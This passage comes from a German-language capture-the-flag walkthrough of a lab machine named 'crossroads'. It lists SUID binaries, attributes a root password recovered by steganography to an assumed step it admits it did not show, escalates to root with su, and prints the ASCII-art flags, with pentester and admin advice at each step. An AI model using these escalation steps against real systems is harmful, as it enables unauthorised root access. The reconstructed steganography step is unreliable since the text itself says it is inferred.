       76     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
     4030     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
     3547     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
     3694     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
       79     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
       77     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
   129282     20 -rwsr-xr-x   1 root     root          16664 Mar  2  2021 /home/albert/beroot
                    

Analyse: Suche nach SUID-Binaries auf dem System.

Bewertung: Neben den üblichen Verdächtigen wird das Binary `/home/albert/beroot` gefunden. Es gehört `root`, hat das SUID-Bit und befindet sich im Home-Verzeichnis von `albert`. Dies ist höchst verdächtig und ungewöhnlich. Es handelt sich um die Datei, die zuvor via SMB heruntergeladen wurde.

Empfehlung (Pentester): Analysiere `/home/albert/beroot` (lokal, da bereits heruntergeladen) auf Schwachstellen oder ungewöhnliches Verhalten.
Empfehlung (Admin): SUID-Binaries sollten niemals in Benutzer-Home-Verzeichnissen liegen. Dies ist eine schwere Fehlkonfiguration. Überprüfe den Zweck von `beroot` und entferne das SUID-Bit oder die Datei, falls sie nicht benötigt wird.

Analyse:** Der Bericht erwähnt `stegoveritas` und `___drifting___` im Zusammenhang mit der Privilege Escalation. Dies deutet darauf hin, dass Steganografie im Spiel war, um ein Passwort zu finden.

[Implizierte Offline-Analyse] └─#
stegoveritas [vermutlich auf crossroads.png oder beroot angewendet]
# Ergebnis der Steganografie-Analyse:
___drifting___
                      

Bewertung:** Es wird angenommen, dass entweder die Bilddatei `/crossroads.png` (via Webserver gefunden) oder das SUID-Binary `beroot` (via SMB gefunden) mit einem Steganografie-Tool wie `stegoveritas` analysiert wurde. Dabei wurde das Passwort `___drifting___` extrahiert.

Empfehlung (Pentester): Das Passwort `___drifting___` ist wahrscheinlich das Root-Passwort oder das Passwort für einen Benutzer mit `sudo`-Rechten. Versuche, dich mit `su root` und diesem Passwort als root anzumelden.
Empfehlung (Admin): Verstecke keine Passwörter oder sensiblen Daten mittels Steganografie in öffentlich zugänglichen Dateien oder Binaries. Verwende sichere Methoden zur Passwortverwaltung.

albert@crossroads:/home/albert$ su root
Password: ___drifting___ [Passworteingabe]
root@crossroads:/home/albert# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das zuvor mittels Steganografie gefundene Passwort `___drifting___` wird eingegeben.

Bewertung: **Perfekt! Privilege Escalation erfolgreich!** Das Passwort `___drifting___` war korrekt für den Root-Benutzer. Der `id`-Befehl bestätigt, dass nun eine Root-Shell vorliegt (`uid=0(root)`).

Empfehlung (Pentester): Suche und extrahiere die Root-Flag.
Empfehlung (Admin): Verwende starke, einzigartige Passwörter für den Root-Account. Ändere Standardpasswörter. Beschränke die Verwendung von `su` und bevorzuge `sudo` mit spezifischen Berechtigungen.

root@crossroads:/home/albert# ls /root
beroot.sh  creds  passwd  root.txt
root@crossroads:/home/albert# cd /root
root@crossroads:/root# ls
beroot.sh  creds  passwd  root.txt
root@crossroads:/root# cat root.txt
flag 2/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█            ▄▀▀▄              █
█             ██              █
█            █▄██▀▄▄▄▄▄█      █
█           ▄▀▀▄▄▄█▀▀▀▀▄▄███▄▄███
█           ██▄▀▀▄▄▄▀██        █
█           ███▀▄▄█▀▀▄▄▀▀▀▄█     █
█         ▄█▀▀▄█▄█▀▀▄▄▀▀▀▄▄▀██    █
█     ▄██▀█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███  █
█    █████▀▀█▄▄▄█▄▄█▄▄██▄█    █
█   ███ █▀▀▀▄███▀█▀█▀███      █
█     ▄▀▄▀▀▄▄▄█▄█▄█▄█▄▀█       █
▀▀▀▀▀▀▀▀▀▀▀▄▄█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
congratulations!
                     

Analyse: Nach Erlangung der Root-Rechte wird in das `/root`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Die Datei `root.txt` wird gefunden und ihr Inhalt ausgegeben.

Bewertung: Die Root-Flag (`flag 2/2`), ebenfalls als ASCII-Art, wurde erfolgreich extrahiert.

Empfehlung (Pentester): Beide Flags wurden gefunden. Der Test ist abgeschlossen. Dokumentiere die Ergebnisse.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt, außer die vorherigen Maßnahmen zur Verhinderung des Root-Zugriffs umzusetzen.

Flags

cat /home/albert/user.txt (via SMB geholt)
flag 1/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█            ▄▀▀▄              █
█             ██              █
█            █▄██▀▄▄▄▄▄█      █
█           ▄▀▀▄▄▄█▀▀▀▀▄▄███▄▄███
█           ██▄▀▀▄▄▄▀██        █
█           ███▀▄▄█▀▀▄▄▀▀▀▄█     █
█         ▄█▀▀▄█▄█▀▀▄▄▀▀▀▄▄▀██    █
█     ▄██▀█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███  █
█    █████▀▀█▄▄▄█▄▄█▄▄██▄█    █
█   ███ █▀▀▀▄███▀█▀█▀███      █
█     ▄▀▄▀▀▄▄▄█▄█▄█▄█▄▀█       █
▀▀▀▀▀▀▀▀▀▀▀▄▄█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
cat /root/root.txt
flag 2/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█            ▄▀▀▄              █
█             ██              █
█            █▄██▀▄▄▄▄▄█      █
█           ▄▀▀▄▄▄█▀▀▀▀▄▄███▄▄███
█           ██▄▀▀▄▄▄▀██        █
█           ███▀▄▄█▀▀▄▄▀▀▀▄█     █
█         ▄█▀▀▄█▄█▀▀▄▄▀▀▀▄▄▀██    █
█     ▄██▀█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███  █
█    █████▀▀█▄▄▄█▄▄█▄▄██▄█    █
█   ███ █▀▀▀▄███▀█▀█▀███      █
█     ▄▀▄▀▀▄▄▄█▄█▄█▄█▄▀█       █
▀▀▀▀▀▀▀▀▀▀▀▄▄█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
congratulations!